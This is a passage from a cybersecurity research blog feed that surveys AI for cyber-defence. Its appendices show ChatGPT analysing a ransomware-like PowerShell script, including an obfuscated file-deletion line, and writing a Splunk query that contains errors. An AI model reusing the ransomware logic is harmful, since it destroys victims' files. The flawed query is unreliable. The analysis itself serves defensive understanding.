<li>AesManaged: Een instance van AES wordt geïnitialiseerd met CBC-modus, padding op &#8216;Zeros&#8217;, een blokgrootte van 128 bits en een sleutellengte van 256 bits.</li>
<li>De IV wordt ingesteld met random bytes.</li>
</ul>
</li>
<li><strong>Verwerkingslogica</strong>:
<ul class="wp-block-list">
<li>De AES sleutel wordt ingesteld door de SHA256 hash van het zout.</li>
<li>Invoke-Expression: Wordt gebruikt om dynamisch commando&#8217;s uit te voeren die uit base64-gedecodeerde strings komen. Deze commando&#8217;s zijn:
<ul class="wp-block-list">
<li>Get-Item: Haalt het bestand op dat verwerkt moet worden.</li>
<li>ReadAllBytes: Leest alle bytes van het opgehaalde bestand.</li>
<li>WriteAllBytes: Schrijft de versleutelde bytes terug naar het bestand met een nieuwe extensie &#8220;.xxx&#8221;.</li>
<li>Remove-Item: Verwijdert het oorspronkelijke bestand.</li>
</ul>
</li>
<li>De bestandsnaam van het verwerkte object wordt gebruikt om de outputbestandsnaam op te stellen door er &#8220;.xxx&#8221; aan toe te voegen.</li>
<li>De bytes van het bestand worden versleuteld met de vooraf geconfigureerde AES-instellingen.</li>
<li>De lastige schrijf- en verwijdercommando&#8217;s zijn ingebouwd in de dynamische commando&#8217;s die uitgevoerd worden via Invoke-Expression.</li>
</ul>
</li>
<li><strong>Opschoning</strong>: Aan het einde van de functie worden de Dispose methoden aangeroepen op de hash- en encryptie-instanties om systeembronnen vrij te maken.</li>
<li><strong>Scriptuitvoering</strong>: Het script aan het eind haalt alle bestanden recursief op vanaf een bepaald pad en past de Compute_SHA256 functie toe op elk bestand met het zout &#8216;salty&#8217;.</li>
</ol>
<p>Deze code kan potentieel schadelijk zijn als deze zonder toezicht in een productieomgeving wordt uitgevoerd, omdat het effectief bestanden versleutelt en vervolgens de originelen verwijdert. Het lijkt op ransomware-achtig gedrag, afhankelijk van het daadwerkelijke gebruik en de intentie. Gebruik en implementatie van dergelijke scripts moet met uiterste voorzichtigheid gebeuren.</p>
<h2 class="wp-block-heading">Aanvullende vraag</h2>
<p>Waar zie je dat de originele bestanden worden verwijderd?</p>
<h2 class="wp-block-heading">Beantwoord door ChatGPT 4.0</h2>
<p>De originele bestanden worden verwijderd in het script door het volgende gedeelte van de code in de Process blok:</p>
<pre>$f = $object2 $dynCmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg")) + "'$f'" Invoke-Expression $dynCmd</pre>
<p>Hier is wat er gebeurt in deze code:</p>
<ol class="wp-block-list">
<li><strong>Opslaan van het bestandsobject</strong>:<code> $f = $object2</code> slaat het bestandsobject op in <code>$f</code>. Dit object bevat de eigenschappen van het bestand dat verwerkt wordt, inclusief het volledige pad.</li>
<li><strong>Genereren van het verwijdercommando</strong>:
<ul class="wp-block-list">
<li><code>[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("UmVtb3ZlLUl0ZW0gLVBhdGgg"))</code> decodeert een base64-encoded string die vertaald wordt naar &#8220;Remove-Item -Path &#8220;.</li>
<li>Dit wordt dan samengevoegd met &#8216;<code>$f</code>&#8216; (het pad van het bestand) om het complete PowerShell-commando te vormen dat het bestand zal verwijderen.</li>
</ul>
</li>
<li><strong>Uitvoeren van het verwijdercommando</strong>: Invoke-Expression $dynCmd voert het samengestelde commando dynamisch uit, wat leidt tot het verwijderen van het bestand op het pad dat in $f is opgeslagen.</li>
</ol>
<p>Dit gedeelte van het script zorgt er dus voor dat na de versleuteling van het bestand, het originele bestand van de schijf wordt verwijderd. Dit gedrag is typisch voor scripts die gebruikt worden in data-archivering of beveiliging, maar kan ook schadelijk zijn indien misbruikt.</p>
<h1 class="wp-block-heading">Bijlage 2 – Analysescriptgeneratie</h1>
<p>Voorbeeld van het genereren van een zeer eenvoudig event log analysescript in Splunk&#8217;s SPL taal.</p>
<h2 class="wp-block-heading">Vraag</h2>
<p>Schrijf een Splunk script dat entries filtert waarvan het IP bronadres niet gereserveerd is en niet in België ligt en waarvan de bestemming een klasse A IP is dat begint met 10.</p>
<h2 class="wp-block-heading">Antwoord</h2>
<p>Om een Splunk zoekopdracht te schrijven die log entries filtert gebaseerd op IP-adres criteria met een specifieke geografische locatie (België), plus de eerder genoemde IP-voorwaarden, heb je aanvullende informatie over de geolocatie van IP-adressen nodig. Als je Splunk omgeving ingesteld is om IP-geolocatie te ondersteunen (vaak via een geolocatie lookup tabel of externe integratie), kunnen we een effectieve zoekopdracht schrijven die de geolocatie data integreert.</p>
<p>Hieronder vind je een voorbeeld van hoe zo&#8217;n zoekopdracht eruit zou kunnen zien. Deze zoekopdracht veronderstelt dat er velden zijn zoals src_ip voor het bron-IP-adres, dest_ip voor het bestemmings-IP-adres, en een veld (bijvoorbeeld src_country) dat het land van het bron-IP aangeeft. Je moet misschien de veldnamen aanpassen afhankelijk van jouw specifieke Splunk setup.</p>
<pre>index=&lt;jouw_index_naam&gt; sourcetype=&lt;jouw_sourcetype&gt; | iplocation src_ip | eval reserved_ip_list="10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8,169.254.0.0/16" | where NOT match(cidrmatch(reserved_ip_list, src_ip)) AND NOT src_country="Belgium" | where match(cidrmatch("10.0.0.0/8", dest_ip)) | table _time, src_ip, dest_ip, src_country, other_relevant_fields</pre>
<p>Uitleg van de Query</p>
<ol class="wp-block-list">
<li><strong>Index en Sourcetype</strong>: Specificeer je index en sourcetype die relevant zijn voor je data.</li>
<li><strong>IP Geolocatie</strong>: De iplocation commando voegt geolocatie-informatie toe aan elk event gebaseerd op het src_ip. Dit voegt velden zoals Country, City, etc., toe, afhankelijk van de nauwkeurigheid en de instellingen van je geolocatie database.</li>
<li><strong>Reserve IP-adressen</strong>: De lijst van gereserveerde IP-adressen wordt gedefinieerd en gebruikt om te controleren of het src_ip niet binnen deze gereserveerde ranges valt.</li>
<li><strong>Filter op Niet-Gereserveerde en Niet-Belgische Bron-IP&#8217;s</strong>: De where clausule wordt gebruikt om events te filteren waarbij het bron-IP-adres niet in de gereserveerde reeksen valt en niet uit België komt (src_country zou aangepast moeten worden aan jouw geolocatie veldnaam).</li>
<li><strong>Filter op Klasse A Bestemmings-IP&#8217;s</strong>: Een tweede where clausule filtert op bestemmings-IP&#8217;s die beginnen met .</li>
<li><strong>Resultatenweergave</strong>: De table commando geeft de resultaten weer in een tabelvorm met relevante velden zoals tijd, bron- en bestemmings-IP, land van het bron-IP en andere velden die belangrijk kunnen zijn voor je analyse.</li>
</ol>
<p>Deze zoekopdracht biedt een effectieve manier om netwerkverkeer te monitoren met een focus op specifieke geografische en netwerkcriteria. Afhankelijk van de exacte vereisten, kun je meer specifieke filters of analyses toevoegen, zoals statistieken over verkeersvolumes of gedetailleerde onderzoeken naar bepaalde soorten verkeer.</p>
<h1 class="wp-block-heading">Notes</h1>
<p><a href="#_ftnref1" name="_ftn1"><sup>1</sup></a>   <a href="https://cordis.europa.eu/project/id/700692" target="_blank" rel="noopener">https://cordis.europa.eu/project/id/700692</a></p>
<p><a href="#_ftnref2" name="_ftn2"><sup>2</sup></a>   Uit een systematische analyse van publicaties over het gebruik van AI voor OSINT blijkt dat cybersecurity bijna de helft van de onderzochte publicaties[7] uitmaakt.</p>
<p><a href="#_ftnref3" name="_ftn3"><sup>3</sup></a>   De auteurs geven een recall aan van 90%. In het algemeen wordt recall gedefinieerd door het aantal gevonden relevante documenten in verhouding tot het aantal relevante documenten in de database.</p>
<p><a href="#_ftnref4" name="_ftn4"></a> <a href="#_ref4">[4]</a> Het model maakt gebruik van statistieken om afwijkingen te detecteren (eenvoudig statistisch model, Markovketen en tijdreeksen).</p>
<p><a href="#_ftnref5" name="_ftn5"><sup>5</sup></a>   <a href="https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/" target="_blank" rel="noopener">https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/</a></p>
<p><a href="#_ftnref6" name="_ftn6"><sup>6</sup></a>   <a href="https://github.com/GreyDGL/PentestGPT" target="_blank" rel="noopener">https://github.com/GreyDGL/PentestGPT</a></p>
<p><a href="#_ftnref7" name="_ftn7"><sup>7</sup></a>   <a href="https://www.hackthebox.com/" target="_blank" rel="noopener">https://www.hackthebox.com/</a></p>
<p><a href="#_ftnref8" name="_ftn8"><sup>8</sup></a>   Stel dat in een log van een miljoen gebeurtenissen wordt geschat dat er 100 gebeurtenissen zijn die echt overeenkomen met een inbraak. Laten we ook veronderstellen dat een fabrikant ons een inbraakdetectiesysteem verkoopt met een gevoeligheid van 99,9%, d.w.z. een percentage van 0,1% fout-negatieve events die overeenkomen met echte inbraken, en met een specificiteit van ook 99,9%, d.w.z. een percentage van 0,1% fout-positieve events die niet overeenkomen met inbraken. Als de software van de fabrikant een alert signaleert, wat is dan de waarschijnlijkheid dat dit daadwerkelijk overeenkomt met een inbraak?</p>
<p>Instinctief zouden velen zeggen “99,9%”. Echter, als we <em><strong>I</strong></em> aantonen, de willekeurige variabele die overeenkomt met een inbraak, en de willekeurige variabele <em><strong>A</strong></em> met betrekking tot een alert, kunnen we de bovenstaande hypothesen als volgt herschrijven: Als <em><strong>P</strong></em>(<em><strong>I</strong></em>)=100/1.000.000, <em><strong>P</strong></em>(<em><strong>A</strong></em>│<em><strong>I</strong></em>)=0,999, en <em><strong>P</strong></em>(¬<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=0,999, wat is dan de waarde van <em><strong>P</strong></em>(<em><strong>I</strong></em>|<em><strong>A</strong></em>)? Het theorema van Bayes geeft ons: <em><strong>P</strong></em>(<em><strong>I</strong></em>│<em><strong>A</strong></em>)=<em><strong>P</strong></em>(<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>|<em><strong>I</strong></em>)/<em><strong>P</strong></em>(<em><strong>A</strong></em>) met <em><strong>P</strong></em>(<em><strong>A</strong></em>)=<em><strong>P</strong></em>(<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>│<em><strong>I</strong></em>)+<em><strong>P</strong></em>(¬<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>|¬<em><strong>I</strong></em>) en <em><strong>P</strong></em>(<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=1−<em><strong>P</strong></em>(¬<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=0,001. Dit leidt tot een kans van 9,08% dat de gegeven alert daadwerkelijk een inbraak is, niet 99,9%!</p>
<p><a href="#_ftnref9" name="_ftn9"><sup>9</sup></a>   Een niet-parametrische methode voor het schatten van de kansdichtheid van een willekeurige variabele</p>
<p><a href="#_ftnref10" name="_ftn10"><sup>10</sup></a> <a href="https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/" target="_blank" rel="noopener">https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/</a></p>
<p><a href="#_ftnref11" name="_ftn11"><sup>11</sup></a> <a href="https://falconllm.tii.ae/" target="_blank" rel="noopener">https://falconllm.tii.ae/</a></p>
<p>_________________________<br data-rich-text-line-break="true" /><em>Dit is een ingezonden bijdrage van Fabien A. P. Petitcolas, IT-beveiligingsspecialist bij Smals Research. Dit artikel werd geschreven in eigen naam en neemt geen standpunt in namens Smals.</em></p>

]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>L&#8217;IA défensive</title>
		<link>https://www.smalsresearch.be/lia-defensive/</link>
		
		<dc:creator><![CDATA[Fabien A. P. Petitcolas]]></dc:creator>
		<pubDate>Mon, 06 May 2024 09:00:00 +0000</pubDate>
				<category><![CDATA[[FR]]]></category>
		<category><![CDATA[Blog post]]></category>
		<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">/?p=20459</guid>

					<description><![CDATA[Dans le dernier article de cette série, après quelques considérations générales, nous passons en revue des domaines de la cyber-défense tirant partie ou pouvant tirer parti de l’IA tels que le renseignement sur les cyber-attaques, la détection et l’identification de cyber-attaques, ou encore la réponse à des incidents de cybersécurité.]]></description>
										<content:encoded><![CDATA[<p><em><a href="/defensieve-ai/">Nederlandstalige versie</a></em></p>
<p>Dans un <a href="/lia-en-cybersecurite/">premier article</a>, nous avons brièvement expliqué ce qui se cache derrière le terme « d’intelligence artificielle (IA) » en décrivant quelques techniques de base utilisées en cybersécurité. Dans un <a href="/lia-offensive/">deuxième article</a>, nous avons traité de l’utilisation de l’IA pour faciliter les attaques contre des systèmes informatiques. En particulier, nous avons détaillé comment l’IA pourrait modifier ou modifie déjà plusieurs vecteurs d’attaques.</p>
<p>Dans le dernier article de cette série, après quelques considérations générales, nous passons en revue des domaines de la cyber-défense tirant parti ou pouvant tirer parti de l’IA tels que le renseignement sur les cyber-attaques, la détection et l’identification de cyber-attaques, ou encore la réponse à des incidents de cybersécurité.</p>
<h1>Introduction</h1>
<p>Dès 2018, Schneier <a href="#_ref1">[1]</a> estimait que la cyber-défense allait bénéficier d’avantage des techniques d’IA que la cyber-offensive, car selon lui, la défense était dans une moins bonne position que l’attaque, précisément à cause de ses importants composants humains. De plus il prédisait que les adversaires allaient continuer d’améliorer leur stratégie d’attaque grâce à l’automatisation, de sorte que le seul moyen efficace d’atténuer ces attaques à la vitesse de la machine serait l’automatisation. C’est une thèse également défendue par Sarker et al. <a href="#_ref2">[2]</a> qui soutiennent que l’IA pourrait révolutionner le domaine de la cybersécurité, en offrant non seulement une <em>automatisation</em> des tâches à grande échelle, mais aussi en <em>aidant les experts humains</em> à mieux comprendre une situation et à prendre des décisions dans des scénarios réels.</p>
<p>La société Gartner s’attend quant à elle, à ce que l’IA contribue à une réduction de 30% du taux de faux positifs dans les tests d’applications et la détection de menaces avant 2027 <a href="#_ref3">[3]</a>. Les nouveaux outils récemment annoncés par des entreprises importantes du marché, dont CrowdStrike, pourraient en effet, selon Gartner aider à améliorer la productivité et les compétences des administrateurs. Les idées ne manquent pas, mais comme le soulignent les auteurs de la note de la société de conseil, les fonctionnalités de recherche et d’analyse existent déjà et la nouveauté réside essentiellement dans l’interactivité entre les analystes humains et la machine.</p>
<p>Taddeo et al. <a href="#_ref4">[4]</a> temporisent l’engouement pour l’IA dans la cyber-défense en faisant remarquer que placer sa <em>confiance</em> dans l’IA pour la robustesse, la résilience et la réponse des systèmes de cybersécurité n’est pas méritée et insistent qu’une forme de contrôle est nécessaire pour réduire les risques de sécurité. Les auteurs utilisent le terme de <em>confiance</em> dans son terme le plus pur&nbsp;: une décision de déléguer, sans forme de contrôle ou de surveillance, une acceptation d’un risque de dépendance. Ils pointent le manque de transparence de l’IA et l’évolution d’un système d’IA dans le temps comme des limites importantes et recommandent notamment une mise en œuvre « maison » pour les infrastructures nationales critiques et une surveillance permanente du système d’IA et de son évolution.</p>
<p>Dasgupta et al. <a href="#_ref5">[5]</a> ont passé en revue la plupart des publications récentes utilisant l’IA dans le domaine de la cybersécurité. Un point crucial reste selon eux la performance (en termes de vitesse de réaction, mais également de réduction du taux de faux-positifs et faux-négatifs) des outils de détection qui peut avoir des conséquences importantes sur le système où ils sont déployés.</p>
<p>Dans les sections suivantes nous regardons plus en détails différents domaines de la cyber-défense pouvant tirer parti de l’IA.</p>
<h1>Renseignement sur les cyber-attaques</h1>
<p>Le renseignement sur les cyber-menaces est le processus de collecte, d’analyse et de diffusion d’informations sur les cyber-menaces actuelles et émergentes, telles que les acteurs, les cibles, les techniques, les outils, etc. Ces renseignements peuvent aider les organisations à se défendre de manière proactive contre les cyber-attaques en fournissant des informations exploitables et opportunes aux équipes de sécurité.</p>
<p>De nos jours, le renseignement d’origine de sources ouvertes (ROSO – « <em>Open-Source Intelligence (OSINT)</em> ») est largement adopté par les gouvernements et les services de renseignement pour mener leurs enquêtes et lutter contre la cyber-criminalité <a href="#_ref6">[6]</a>. Le projet européen DiSIEM<a href="#_ftn1" name="_ftnref1"><sup>1</sup></a> avait pour premier objectif l’intégration de diverses sources de données ROSO dans les systèmes de gestion des informations et événements de sécurité (« <em>Security Information and Event Management (SIEM)</em> ») pour aider à réagir aux vulnérabilités récemment découvertes dans l’infrastructure ou même à prédire d’éventuelles menaces émergentes<a href="#_ftn2" name="_ftnref2"><sup>2</sup></a>.</p>
<p>En principe un modèle de langage massif (« <em>Large Language Models (LLM) </em>») entraîné sur de larges sources de données comme les forums web, les sites spécialisés sur les vulnérabilités et incidents, ou les réseaux sociaux, pourrait être utilisé afin de générer des rapports de renseignement sur les cyber-menaces. Les LLM pourraient donc être utilisés pour accéder plus rapidement à de la documentation technique, des renseignements d’intelligence provenant de sources spécialisées. Par exemple Sewak et al. <a href="#_ref8">[8]</a> affirment que les LLM peuvent automatiquement extraire, valider et résumer des informations provenant de diverses sources, telles que des rapports de menaces, de la littérature, des scripts, etc. Ils montrent notamment comment les LLM peuvent identifier les intentions malveillantes dans des scripts. Leur approche permettrait de découvrir plus de 90%<a href="#_ftn3" name="_ftnref3"><sup>3</sup></a> des scripts effectivement malveillants dans une tâche de détection.</p>
<h1>Détection et identification de cyber-attaques</h1>
<p>L’IA peut jouer un rôle dans la détection et l’identification des cyber-attaques en améliorant les systèmes de détection d’intrusions et de logiciels malveillants et en permettant de mieux gérer les alertes.</p>
<h2>Détection d’intrusions</h2>
<p>Selon le NIST <a href="#_ref9">[9]</a>, un système de détection d’intrusions (IDS) se réfère au « <em>processus de surveiller les événements se produisant dans un système informatique ou un réseau et de les analyser pour des signes d’incidents possibles</em>. » Bien que les premiers développements de tels systèmes se soient concentrés sur des approches par signature, en 1986, Denning publiait un modèle d’IDS <a href="#_ref10">[10]</a> basé sur la détection d’anomalies<a href="#_ftn4" name="_ftnref4"><sup>4</sup></a> qui constitue encore aujourd’hui la base de nombreux systèmes. L’avantage principal des méthodes basées sur la détection d’anomalies est que celles-ci peuvent détecter des types d’incidents qui n’ont pas déjà été vus. Aujourd’hui ce sont les méthodes d’apprentissage automatiques non-supervisées qui sont couramment utilisées pour la détection d’anomalies&nbsp;: l’activité sur le réseau est comparée avec une ligne de base pré-entraînée et normalisée qui présente le comportement normal, ce qui permet au système de détecter des activités malveillantes inconnues, contrairement aux méthodes par signature.</p>
<p>Une approche est d’entraîner un réseau de neurones artificiels à apprendre si un trafic réseau est normal ou correspond à une classe d’attaques. En pratique cela demande les étapes suivantes&nbsp;:</p>
<ol>
<li>Un expert collecte un ensemble de données contenant à la fois le trafic normal du réseau de communication et des attaques.</li>
<li>Sur une machine très puissante, un réseau de neurones est entraîné à classer la différence entre le trafic normal et le trafic d’attaque.</li>
<li>Une copie du modèle appris lors de l’étape précédente est transférée sur le système opérationnel de détection d’intrusion de l’organisation.</li>
<li>Le système de détection d’intrusions applique le modèle sur le trafic réseau observé.</li>
</ol>
<p>Les choix de méthodes d’apprentissage sont nombreux, mais selon Appruzzese et al. <a href="#_ref11">[11]</a>, les méthodes d’apprentissage non-supervisé sont particulièrement appréciées pour les systèmes de détection d’intrusion sur les réseaux de communication en raison de la difficulté et du coût d’obtenir des données étiquetées. Par ailleurs, selon ces auteurs, la supériorité des réseaux d’apprentissage profonds pour la détection d’intrusions, par rapport à d’autres techniques d’IA, n’est pas prouvée et la complexité et le coût de calcul supplémentaire ne justifient pas nécessairement leur adoption.</p>
<p>Voici quelques exemples d’utilisation de techniques non-supervisées utilisées pour la détection d’intrusions&nbsp;:</p>
<ul>
<li>Bohara et al. <a href="#_ref12">[12]</a> utilisent plusieurs techniques de détection d’anomalies et notamment l’analyse en composantes principales (« <em>Principal Component Analysis (PCA)</em>»), le partitionnement en <em>k</em>-moyennes, et la détection de valeurs aberrantes basée sur l’écart absolu médian afin de détecter des mouvements latéraux<a href="#_ftn5" name="_ftnref5"><sup>5</sup></a> sur un réseau. Ces auteurs atteignent un taux de vrais positifs (TPR) de 88.7% et un taux de faux positifs (FPR) de 14.1%.</li>
<li>Dans <a href="#_ref13">[13]</a>, les auteurs présentent une méthode pour générer automatiquement une liste grise d’hôtes externes qui ont une probabilité élevée d’être impliqués dans des activités de balisage malveillant par rapport à l’ensemble de tous les hôtes externes habituellement contactés par l’organisation protégée. Leur proposition s’appuie sur des techniques de regroupement appliquées aux flux de réseaux.</li>
<li>Afin d’adresser le problème de déséquilibre entre le nombre d’échantillons positifs et négatifs dans les journaux d’intrusion (très peu de trafic malveillant par rapport au trafic légitime), Yang et al. <a href="#_ref14">[14]</a> utilisent un réseau antagoniste génératif convolutif profond (« <em>Deep Convolutional Generative Adversarial Network (DCGAN) </em>») afin de construire un système de détection d’intrusion en temps réel. Le DCGAN maintient un équilibre entre échantillons positifs et négatifs en générant de nouvelles données synthétiques. Afin de permettre l’analyse en temp réel, les auteurs utilisent des unités récurrentes fermées (« <em>Gates Recurrent Units (GRU) </em>»), qui sont plus efficaces qu’un réseau récurrent à mémoire court et long terme (LSTM) car utilisant moins de paramètres. Le système atteint une exactitude de 99,73%.</li>
</ul>
<p>Enfin, les outils basés sur les modèles massifs de langage ont aussi commencé à faire leur apparition dans la détection d’intrusion. Par exemple, l’outil PentestGPT<a href="#_ftn6" name="_ftnref6"><sup>6</sup></a> est un outil de tests d’intrusions optimisés par des LLM (en l’occurrence ChatGPT-4) et permet l’automatisation du processus de test d’intrusion en guidant les testeurs dans l’opération globale et les opérations spécifiques. PentestGPT a été testé avec succès sur « <em>HackTheBox</em><a href="#_ftn7" name="_ftnref7"><sup>7</sup></a> » et à travers diverses compétitions de capture de drapeau (« <em>Capture the Flag (CTF)</em> ») de niveau facile ou moyen.</p>
<h2>Détection de logiciels malveillants</h2>
<p>L’apprentissage automatique peut être utilisé à la fois pour l’analyse statique et l’analyse dynamique des logiciels malveillants. Cependant l’analyse statique est sujette à des contournements relativement simples en modifiant l’exécutable sans changer la logique sous-jacente ou avec des variantes plus avancées (p. ex. polymorphisme) modifiant l’exécutable de manière automatique.</p>
<p>Les analyses dynamiques combinées avec un apprentissage automatique s’avèrent plus efficaces <a href="#_ref11">[11]</a>. Mais il existe plusieurs limites à l’applicabilité des dernières avancées universitaires dans le domaine de l’apprentissage automatique à la détection de logiciels malveillants <a href="#_ref15">[15]</a>, notamment :</p>
<ul>
<li>Mauvaise interprétation de la mesure de performance, en partie due à l’oubli de la fréquence de base – un biais cognitif lié aux lois statistiques<a href="#_ftn8" name="_ftnref8"><sup>8</sup></a>;</li>
<li>Les bases de données de tests sont souvent vieilles de plusieurs années et ne tiennent donc pas compte des nouvelles méthodes de contournement mises en œuvre par les adversaires, ni des nouvelles interfaces de programmation applicatives disponibles. Selon [16], un grand nombre de travaux récents concernant l’apprentissage fédéré pour la détection d’intrusions, utilisent encore des bases de données publiques créée avant 2017, et donc avec des attaques ne reflétant pas nécessairement les réseaux de communication actuels.</li>
</ul>
<h2>Gestion des alertes</h2>
<p>Le triage des alertes de sécurité est une tâche qui demande relativement beaucoup de temps, mais qui peut être accélérée en mettant des informations contextuelles à disposition des analystes afin que ceux-ci n’aient pas à passer d’un outil de journalisation ou d’analyse à l’autre afin de comprendre ce qui se passe. Par exemple : géolocalisation d’une adresse IP, nom de l’organisation contrôlant l’IP, âge du domaine, réputation d’une valeur de hachage d’un fichier, type de fichier correspondant, copie d’écran automatique d’une URL, informations sur l’hôte et son environnement, etc. Ces alertes pourraient aussi être enrichies directement par un LLM (p. ex. catégorisation, information issue des services de renseignement spécialisés, score de risque).</p>
<p>De plus des techniques d’apprentissage automatique peuvent être utilisées pour le filtrage, le triage, la priorisation et l’agrégation d’alertes, afin de faciliter le triage et la réponse aux incidents. Par exemple Su et al. <a href="#_ref17">[17]</a> proposent une méthode pour automatiser le filtrage des faux positifs en utilisant une estimation par noyau<a href="#_ftn9" name="_ftnref9"><sup>9</sup></a> (« <em>Kernel density estimation (KDE)</em> »). Selon les auteurs, celle-ci réduit jusqu’à 75% le temps nécessaire pour la vérification des alertes.</p>
<h1>Réponse à des incidents de cybersécurité</h1>
<p>La réponse aux incidents est un élément clé de la stratégie de cybersécurité d’une organisation. Une réponse bien orchestrée peut contribuer à atténuer les dommages causés par une violation de la sécurité ou une cyber-attaque. Cependant, la rapidité et la précision de ces réponses sont primordiales. Les LLM peuvent contribuer à accélérer et à rationaliser ces processus, en fournissant des réponses automatisées et même en aidant à élaborer des plans d’intervention en cas d’incident. L’une des caractéristiques de l’architecture de ces LLM est leur capacité à générer du texte naturel, basé sur le contexte. Elle peut être exploitée pour créer un assistant de réponse aux incidents alimenté par l’IA, capable de fournir des conseils immédiats pendant un incident et de documenter automatiquement les événements au fur et à mesure qu’ils se déroulent. Par exemple, PaloAlto XSOAR<a href="#_ftn10" name="_ftnref10"><sup>10</sup></a> utilise ChatGPT pour générer des guides permettant de gérer certaines attaques (voir Figure 1).</p>
<table class=" aligncenter" style="width: 80%; background-color: #a0a0a0; border-style: solid;" cellpadding="5">
<tbody>
<tr>
<td style="width: 655.33px;">
<p>Dear Analyst,</p>
<p>The following is an analysis for Incident No. #3332 by ChatGPT:</p>
<p><strong>1- Analysis (Incident Description):</strong></p>
<p>On Tuesday 2023-May-09 at 12:46:03 PM, a workstation with the hostname &#8220;testlab&#8221; was compromised through the MitreAttack technique of OS Credential Dumping by the Poseidon Group. The indicator of compromise, 31ebide7840a342fd468e558e5ab627bcb4c542a8fe01aec4d5ba01d539aOfc, has a malicious reputation.</p>
<p><strong>2- Impact Analysis:</strong></p>
<p>The compromised workstation may have granted the attacker access to sensitive information and credentials on the network, which could potentially lead to further attacks and data breaches. The Poseidon Group is a known advanced persistent threat (APT) group, and their attacks are often highly targeted and sophisticated, making it imperative to respond quickly and effectively to mitigate potential damage.</p>
<p><strong>3- Action or Recommendations:</strong></p>
<ol style="list-style-type: lower-alpha;">
<li>Isolate the compromised workstation: The first step in responding to a security incident is to isolate the compromised system from the network to prevent further damage or spread of the attack. The compromised workstation with the IP address 10.10.10.10 should be taken offline immediately to prevent the attacker from further accessing or exfiltrating sensitive information.</li>
<li>Conduct a forensic investigation: A thorough forensic investigation should be conducted to determine the extent of the damage and whether any other machines on the network have been compromised. The investigation should aim to identify the initial point of entry, the scope of the attack, and any data that may have been exfiltrated by the attacker.</li>
<li>Remediate and patch vulnerabilities: The investigation should identify any vulnerabilities or weaknesses in the security infrastructure that allowed the attack to take place and patch or remediate these as quickly as possible to prevent similar incidents from occurring in the future.</li>
<li>Deploy additional security measures: Additional security measures may need to be deployed to prevent further attacks by the Poseidon Group or other APT groups. This may include deploying intrusion detection and prevention systems, implementing Two-Factor Authentication (2FA), and training employees on how to identify and respond to potential security incidents.</li>
<li>Notify appropriate authorities: Depending on the sensitivity and nature of the data that may have been compromised, it may be necessary to notify appropriate authorities such as law enforcement or regulatory bodies.</li>
</ol>
<p>The company should review their incident response plan and determine the appropriate steps to take regarding notification and disclosure.</p>
<p>&#8212;<br />Your SOC Team<br />Cortex XSOAR</p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: left;"><em>Figure 1 – Informations proposée par XSOAR pour gérer une réponse à un incident de sécurité (d’après <a href="#_ref18">[18]</a>).</em></p>
<p>Ferrag et al. <a href="#_ref19">[19]</a> utilisent FalconLLM<a href="#_ftn11" name="_ftnref11"><sup>11</sup></a> afin d’analyser la sévérité et l’impact potentiel d’une attaque identifiée par un système de détection d’intrusions en la comparant avec sa base de données interne. De manière similaire à PaloAlto XSOAR, l’outil permet également de proposer des stratégies d’atténuation potentielles et des procédures de rétablissement, pouvant ainsi guider une équipe d’intervention. Les réponses proposées restent cependant très générales et peuvent ne pas être utiles à un administrateur expérimenté (voir Figure 2).</p>
<table class=" aligncenter" style="width: 80%; background-color: #a0a0a0; border-style: solid;" cellpadding="5">
<tbody>
<tr>
<td style="width: 100%;">
<p><strong>Cyber Threats detected by SecurityBERT:</strong></p>
<p>SecurityBERT has detected a cyber threat in our industrial network: a Backdoor attack. Can you propose to me a mitigation solution?</p>
<p><strong>FalconLLM model incident response and recovery output:</strong></p>
<p>Yes, I can. There are a few steps that can be taken to mitigate the Backdoor threat. Firstly, it&#8217;s important to identify the source of the attack. This could be done by monitoring the network traffic and looking for any suspicious activity. Once the source has been identified, it&#8217;s important to block any further attempts to access the network. This can be done by implementing firewalls, intrusion detection systems, and other security measures. Additionally, it&#8217;s important to update all software and patches to ensure that the network is as secure as possible. It&#8217;s also a good idea to regularly audit the network for any potential vulnerabilities.</p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: left;"><em>Figure 2 – Exemple de solution de stratégie d’atténuation proposée par FalconLLM (source <a href="#_ref19">[19]</a>).</em></p>
<p>L’IA générative peut également permettre d’automatiser certains aspects de l’analyse des cyber-incidents par les analystes d’un centre des opérations de sécurité. Par exemple, selon A. Krishnan <a href="#_ref20">[20]</a>, ChatGPT pourrait être utilisé pour décrire ce que fait un script Powershell (voir exemple en annexe). De manière similaire, ces outils permettant aussi de générer du code, il est donc possible d’envisager leur utilisation pour faciliter l’écriture de scripts d’analyse de journaux par des analystes (voir annexe).</p>
<p>L’automatisation de la réponse à des incidents est aussi envisagée, mais un problème important reste l’attribution de la responsabilité. Celle-ci est rendue d’autant plus difficile, qu’à ce jours les systèmes d’IA sont encore peu transparents et difficilement explicables.</p>
<p>Enfin, les rapports détaillés sur les incidents de cybersécurité jouent un rôle important pour aider les principales parties prenantes, notamment les équipes opérationnelles de sécurité, les responsables de la sécurité, afin de mieux comprendre et améliorer la posture de sécurité d’une organisation. Certains envisagent l’utilisation d’IA générative afin de synthétiser les journaux d’incidents et rédiger des rapports permettant d’agir plus rapidement.</p>
<h1>Génération de code sécurisé</h1>
